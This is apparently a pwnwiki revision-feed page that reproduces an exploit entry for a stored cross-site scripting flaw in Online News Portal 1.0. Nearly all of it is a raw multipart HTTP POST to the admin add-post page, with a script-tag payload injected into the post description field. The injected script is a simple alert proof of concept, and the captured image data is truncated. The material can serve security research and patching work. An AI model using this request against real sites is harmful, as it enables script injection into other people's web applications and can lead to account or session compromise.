https://pwnwiki.com/index.php?action=history&feed=atom&title=Online_News_Portal_1.0_XSS%E6%BC%8F%E6%B4%9E 2026-04-26T13:56:04Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=Online_News_Portal_1.0_XSS%E6%BC%8F%E6%B4%9E&diff=3621&oldid=prev 2021-05-30T02:34:08Z

<p>Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Online News Portal | Stored Cross-Site Scripting # Exploit Author: Richard Jones # Date: 2021-03-15 # Vendor Homepage: https://www.sourcecodest...&quot;</p> <p><b>New page</b></p><div>==EXP==<br /> &lt;pre&gt;<br /> # Exploit Title: Online News Portal | Stored Cross-Site Scripting <br /> # Exploit Author: Richard Jones<br /> # Date: 2021-03-15<br /> # Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html<br /> # Software Link: https://www.sourcecodester.com/download-code?nid=14741&amp;title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download<br /> # Version: 1.0<br /> # Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34<br /> <br /> POST /newsportal/admin/add-post.php HTTP/1.1<br /> Host: localhost<br /> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0<br /> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br /> Accept-Language: en-GB,en;q=0.5<br /> Accept-Encoding: gzip, deflate<br /> Referer: http://localhost/newsportal/admin/add-post.php<br /> Content-Type: multipart/form-data; boundary=---------------------------41052496821120247431948536870<br /> Content-Length: 1105<br /> Origin: http://localhost<br /> Connection: close<br /> Cookie: PHPSESSID=el2er006ddftfemargc4fnqkbj<br /> Upgrade-Insecure-Requests: 1<br /> Cache-Control: max-age=0<br /> <br /> -----------------------------41052496821120247431948536870<br /> Content-Disposition: form-data; name=&quot;posttitle&quot;<br /> <br /> StoredForLife<br /> -----------------------------41052496821120247431948536870<br /> Content-Disposition: form-data; name=&quot;category&quot;<br /> <br /> 3<br /> -----------------------------41052496821120247431948536870<br /> Content-Disposition: form-data; name=&quot;subcategory&quot;<br /> <br /> 4<br /> -----------------------------41052496821120247431948536870<br /> Content-Disposition: form-data; name=&quot;postdescription&quot;<br /> <br /> &lt;script&gt;alert(`Stored Xss`)&lt;/script&gt;<br /> -----------------------------41052496821120247431948536870<br /> Content-Disposition: form-data; name=&quot;files&quot;; filename=&quot;&quot;<br /> Content-Type: application/octet-stream<br /> <br /> <br /> -----------------------------41052496821120247431948536870<br /> Content-Disposition: form-data; name=&quot;postimage&quot;; filename=&quot;index.jpg&quot;<br /> Content-Type: image/jpeg<br /> <br /> ÿØÿà<br /> &lt;/pre&gt;</div>

Pwnwiki